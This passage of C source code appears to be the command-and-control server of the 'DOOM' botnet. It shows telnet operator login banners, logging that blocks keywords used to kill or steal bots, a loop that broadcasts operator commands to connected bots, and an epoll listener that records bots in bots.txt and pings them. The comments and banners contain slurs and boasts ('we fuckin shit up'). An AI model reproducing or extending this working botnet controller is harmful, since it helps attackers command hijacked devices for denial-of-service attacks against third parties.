      	sprintf(ares1, "\x1b[1;37m           [+]-\x1b[1;37mWelcome %s To Your \x1b[0;31mWar\x1b[1;37m-[+]\r\n", accounts[find_line].id, buf);
698
		
699
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
700
		if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
701
		if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
702
		if(send(thefd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
703
		if(send(thefd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
704
		if(send(thefd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
705
		if(send(thefd, ascii_banner_line15, strlen(ascii_banner_line15), MSG_NOSIGNAL) == -1) goto end;
706
		if(send(thefd, ascii_banner_line16, strlen(ascii_banner_line16), MSG_NOSIGNAL) == -1) goto end;
707
		if(send(thefd, ares1, strlen(ares1), MSG_NOSIGNAL) == -1) goto end;
708
		while(1) {
709
		if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
710
		break;
711
		}
712
		pthread_create(&title, NULL, &titleWriter, sock);
713
        managements[thefd].connected = 1;
714
		continue;
715
     	}
716
		if(strstr(buf, "CLEAR_RASTA")){
717
		   
718
		char RASTA1 [80];
719
		char RASTA2 [80];
720
		char RASTA3 [80];
721
		char RASTA4 [80];
722
		char RASTA5 [80];
723
		char RASTA6 [80];
724
		char RASTA7 [80];
725
        char RASTA8 [80];
726
    
727
        sprintf(RASTA1, "\x1b[1;31m        d8888b.  .d88b.   .d88b.  .88b  d88.     \r\n");
728
		sprintf(RASTA2, "\x1b[1;31m        88  `8D .8P  Y8. .8P  Y8. 88'YbdP`88     \r\n");
729
		sprintf(RASTA3, "\x1b[1;33m        88   88 88    88 88    88 88  88  88     \r\n");
730
		sprintf(RASTA4, "\x1b[1;33m        88   88 88    88 88    88 88  88  88     \r\n");
731
		sprintf(RASTA5, "\x1b[1;32m        88  .8D `8b  d8' `8b  d8' 88  88  88     \r\n");
732
		sprintf(RASTA6, "\x1b[1;32m        Y8888D'  `Y88P'   `Y88P'  YP  YP  YP     \r\n");
733
		sprintf(RASTA7, "\x1b[1;32m\r\n");
734
        sprintf(RASTA8, "\x1b[1;37m          [+]-\x1b[1;31mWelcome %s \x1b[1;33mTo The\x1b[32m DOOM\x1b[1;37m-[+]\r\n", accounts[find_line].id, buf);
735
		
736
		if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
737
		if(send(thefd, RASTA1, strlen(RASTA1), MSG_NOSIGNAL) == -1) goto end;
738
		if(send(thefd, RASTA2, strlen(RASTA2), MSG_NOSIGNAL) == -1) goto end;
739
		if(send(thefd, RASTA3, strlen(RASTA3), MSG_NOSIGNAL) == -1) goto end;
740
		if(send(thefd, RASTA4, strlen(RASTA4), MSG_NOSIGNAL) == -1) goto end;
741
		if(send(thefd, RASTA5, strlen(RASTA5), MSG_NOSIGNAL) == -1) goto end;
742
		if(send(thefd, RASTA6, strlen(RASTA6), MSG_NOSIGNAL) == -1) goto end;
743
		if(send(thefd, RASTA7, strlen(RASTA7), MSG_NOSIGNAL) == -1) goto end;
744
        if(send(thefd, RASTA8, strlen(RASTA8), MSG_NOSIGNAL) == -1) goto end;
745
		while(1) {
746
		if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
747
		break;
748
		}
749
		pthread_create(&title, NULL, &titleWriter, sock);
750
        managements[thefd].connected = 1;
751
		continue;
752
     	}
753
		if(strstr(buf, "CLEAR_LIT")){
754
		   
755
		char LIT1 [80];
756
		char LIT2 [80];
757
		char LIT3 [80];
758
		char LIT4 [80];
759
		char LIT5 [80];
760
		char LIT6 [80];
761
		char LIT7 [80];
762
        char LIT8 [80];
763
    
764
       	sprintf(LIT1, "\x1b[0;36m       :::::::::   ::::::::   ::::::::  ::::    ::::      \r\n");
765
		sprintf(LIT2, "\x1b[0;36m       :+:    :+: :+:    :+: :+:    :+: +:+:+: :+:+:+     \r\n");
766
		sprintf(LIT3, "\x1b[0;36m       +:+    +:+ +:+    +:+ +:+    +:+ +:+ +:+:+ +:+     \r\n");
767
		sprintf(LIT4, "\x1b[0;36m       +#+    +:+ +#+    +:+ +#+    +:+ +#+  +:+  +#+     \r\n");
768
		sprintf(LIT5, "\x1b[0;36m       +#+    +#+ +#+    +#+ +#+    +#+ +#+       +#+     \r\n");
769
		sprintf(LIT6, "\x1b[0;36m       #+#    #+# #+#    #+# #+#    #+# #+#       #+#     \r\n");
770
		sprintf(LIT7, "\x1b[0;36m       #########   ########   ########  ###       ###     \r\n");
771
        sprintf(LIT8, "\x1b[31m          [+]-\x1b[0;32mWelcome %s To The DOOM\x1b[31m-[+]\r\n", accounts[find_line].id, buf);
772
		
773
		if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
774
		if(send(thefd, LIT1, strlen(LIT1), MSG_NOSIGNAL) == -1) goto end;
775
		if(send(thefd, LIT2, strlen(LIT2), MSG_NOSIGNAL) == -1) goto end;
776
		if(send(thefd, LIT3, strlen(LIT3), MSG_NOSIGNAL) == -1) goto end;
777
		if(send(thefd, LIT4, strlen(LIT4), MSG_NOSIGNAL) == -1) goto end;
778
		if(send(thefd, LIT5, strlen(LIT5), MSG_NOSIGNAL) == -1) goto end;
779
		if(send(thefd, LIT6, strlen(LIT6), MSG_NOSIGNAL) == -1) goto end;
780
		if(send(thefd, LIT7, strlen(LIT7), MSG_NOSIGNAL) == -1) goto end;
781
        if(send(thefd, LIT8, strlen(LIT8), MSG_NOSIGNAL) == -1) goto end;
782
		while(1) {
783
		if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
784
		break;
785
		}
786
		pthread_create(&title, NULL, &titleWriter, sock);
787
        managements[thefd].connected = 1;
788
		continue;
789
		}
790
		if(strstr(buf, "CLEAR_SMALL")){
791
		if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
792
        char small1[80];
793
	 
794
		sprintf(small1, "\x1b[0;37m*\x1b[0;31mWelcome To The DOOM Boatnet >.< S0Sexy!\x1b[0;37m*\r\n");
795
		
796
        if(send(thefd, "\x1b[0;37m*****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
797
		if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
798
		if(send(thefd, "\x1b[0;37m*****************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
799
		while(1) {
800
		if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
801
		break;
802
		}
803
		pthread_create(&title, NULL, &titleWriter, sock);
804
        managements[thefd].connected = 1;
805
		continue;
806
     	}
807
		
808
        if(strstr(buf, "LOGOUT")) 
809
	    {  
810
 		  sprintf(botnet, "DAS SUM GGOOD MARIJUANA MAAN PEACE HOMIE I SEE YA DA NEXT TIME MANN %s Cya Next Time\r\n", accounts[find_line].id, buf);
811
		  if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
812
		  goto end;
813
		} // No fuckin time limit nigga we fuckin shit up !!!!!!  :)
814
		if(strstr(buf, "99999999999")) 
815
		{  
816
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
817
		FILE *logFile;
818
        logFile = fopen("TIME.log", "a");
819
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
820
        fclose(logFile);
821
		goto end;
822
        } // max time
823
     	if(strstr(buf, "99999999999")) 
824
		{  
825
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
826
		FILE *logFile;
827
        logFile = fopen("TIME.log", "a");
828
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
829
        fclose(logFile);
830
		goto end;
831
        } // max time
832
		if(strstr(buf, "99999999999")) 
833
		{  
834
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
835
		FILE *logFile;
836
        logFile = fopen("TIME.log", "a");
837
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
838
        fclose(logFile);
839
		goto end;
840
        } // max time
841
		if(strstr(buf, "99999999999")) 
842
		{  
843
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
844
		FILE *logFile;
845
        logFile = fopen("TIME.log", "a");
846
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
847
        fclose(logFile);
848
		goto end;
849
        } // max time
850
	    if(strstr(buf, "99999999999")) 
851
		{  
852
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
853
		FILE *logFile;
854
        logFile = fopen("TIME.log", "a");
855
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
856
        fclose(logFile);
857
		goto end;
858
        } // max time
859
     	if(strstr(buf, "99999999999")) 
860
		{  
861
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
862
		FILE *logFile;
863
        logFile = fopen("TIME.log", "a");
864
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
865
        fclose(logFile);
866
		goto end;
867
        } // max time
868
		if(strstr(buf, "99999999999")) 
869
		{  
870
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
871
		FILE *logFile;
872
        logFile = fopen("TIME.log", "a");
873
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
874
        fclose(logFile);
875
		goto end;
876
        } // max time
877
		if(strstr(buf, "99999999999")) 
878
		{  
879
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
880
		FILE *logFile;
881
        logFile = fopen("TIME.log", "a");
882
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
883
        fclose(logFile);
884
		goto end;
885
        } // max time
886
      	if(strstr(buf, "99999999999")) 
887
		{  
888
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
889
		FILE *logFile;
890
        logFile = fopen("TIME.log", "a");
891
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
892
        fclose(logFile);
893
		goto end;
894
        } // max time
895
		if(strstr(buf, "99999999999")) 
896
		{  
897
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
898
		FILE *logFile;
899
        logFile = fopen("TIME.log", "a");
900
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
901
        fclose(logFile);
902
		goto end;
903
        }
904
		if(strstr(buf, "99999999999")) 
905
		{  
906
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
907
		FILE *logFile;
908
        logFile = fopen("TIME.log", "a");
909
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
910
        fclose(logFile);
911
		goto end;
912
        } // max time
913
    	if(strstr(buf, "99999999999")) 
914
		{  
915
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
916
		FILE *logFile;
917
        logFile = fopen("TIME.log", "a");
918
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
919
        fclose(logFile);
920
		goto end;
921
        } // max time
922
	    if(strstr(buf, "99999999999")) 
923
		{  
924
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
925
		FILE *logFile;
926
        logFile = fopen("TIME.log", "a");
927
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
928
        fclose(logFile);
929
		goto end;
930
        } // max time
931
	    if(strstr(buf, "99999999999")) 
932
		{  
933
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
934
		FILE *logFile;
935
        logFile = fopen("TIME.log", "a");
936
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
937
        fclose(logFile);
938
		goto end;
939
        } // max time
940
	    if(strstr(buf, "99999999999")) 
941
		{  
942
		printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
943
		FILE *logFile;
944
        logFile = fopen("TIME.log", "a");
945
        fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
946
        fclose(logFile);
947
		goto end;
948
        }
949
	    if(strstr(buf, "LOLNOGTFO")) 
950
		{  
951
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
952
		FILE *logFile;
953
        logFile = fopen("KILL.log", "a");
954
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
955
        fclose(logFile);
956
		goto end;
957
        }
958
	    if(strstr(buf, "GTFOFAG")) 
959
		{  
960
		printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
961
		FILE *logFile;
962
        logFile = fopen("KILL.log", "a");
963
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
964
        fclose(logFile);
965
		goto end;
966
        }//if you dont like this just take out common sense 
967
    	if(strstr(buf, "DUP")) 
968
		{  
969
	    printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
970
		FILE *logFile;
971
        logFile = fopen("BOTKILLER.log", "a");
972
        fprintf(logFile, "ATTEMPT TO STEAL BOTS %s\n", accounts[find_line].id, buf);
973
        fclose(logFile);
974
	    goto end;
975
		}
976
		if(strstr(buf, "dup")) 
977
		{  
978
		printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
979
		FILE *logFile;
980
        logFile = fopen("SMALLBOTKILLER.log", "a");
981
        fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
982
        fclose(logFile);
983
		goto end;
984
				}
985
     			trim(buf);
986
                if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
987
                if(strlen(buf) == 0) continue;
988
                printf("%s: \"%s\"\n",accounts[find_line].id, buf);
989
                FILE *logFile;
990
                logFile = fopen("report.log", "a");
991
                fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
992
                fclose(logFile);
993
                broadcast(buf, thefd, usernamez);
994
                memset(buf, 0, 2048);
995
        }
996
 
997
        end:    // cleanup dead socket
998
                managements[thefd].connected = 0;
999
                close(thefd);
1000
                managesConnected--;
1001
}
1002
void *telnetListener(int port)
1003
{
1004
        int sockfd, newsockfd;
1005
        socklen_t clilen;
1006
        struct sockaddr_in serv_addr, cli_addr;
1007
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
1008
        if (sockfd < 0) perror("ERROR opening socket");
1009
        bzero((char *) &serv_addr, sizeof(serv_addr));
1010
        serv_addr.sin_family = AF_INET;
1011
        serv_addr.sin_addr.s_addr = INADDR_ANY;
1012
        serv_addr.sin_port = htons(port);
1013
        if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
1014
        listen(sockfd,5);
1015
        clilen = sizeof(cli_addr);
1016
        while(1)
1017
        {
1018
                newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
1019
                if (newsockfd < 0) perror("ERROR on accept");
1020
                pthread_t thread;
1021
                pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
1022
        }
1023
}
1024
 
1025
int main (int argc, char *argv[], void *sock)
1026
{
1027
        signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
1028
        int s, threads, port;
1029
        struct epoll_event event;
1030
        if (argc != 4)
1031
        {
1032
                fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
1033
                exit (EXIT_FAILURE);
1034
        }
1035
		port = atoi(argv[3]);
1036
		printf("\x1b[32mTHIS SHIT PRIVATE,\x1b[33m DO NOT FUCKING LEAK, \x1b[34mDOOM \x1b[35mBOTNET \x1b[36mSCREENED\x1b[0m\n");
1037
        telFD = fopen("bots.txt", "a+");
1038
        threads = atoi(argv[2]);
1039
        listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
1040
        if (listenFD == -1) abort ();
1041
        s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
1042
        if (s == -1) abort ();
1043
        s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
1044
        if (s == -1)
1045
        {
1046
                perror ("listen");
1047
                abort ();
1048
        }
1049
        epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
1050
        if (epollFD == -1)
1051
        {
1052
                perror ("epoll_create");
1053
                abort ();
1054
        }
1055
        event.data.fd = listenFD;
1056
        event.events = EPOLLIN | EPOLLET;
1057
        s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
1058
        if (s == -1)
1059
        {
1060
                perror ("epoll_ctl");
1061
                abort ();
1062
        }
1063
        pthread_t thread[threads + 2];
1064
        while(threads--)
1065
        {
1066
                pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
1067
        }
1068
        pthread_create(&thread[0], NULL, &telnetListener, port);
1069
        while(1)
1070
        {
1071
                broadcast("PING", -1, "PURGE");
1072
                sleep(60);
1073
        }
1074
        close (listenFD);
1075
        return EXIT_SUCCESS;
1076
}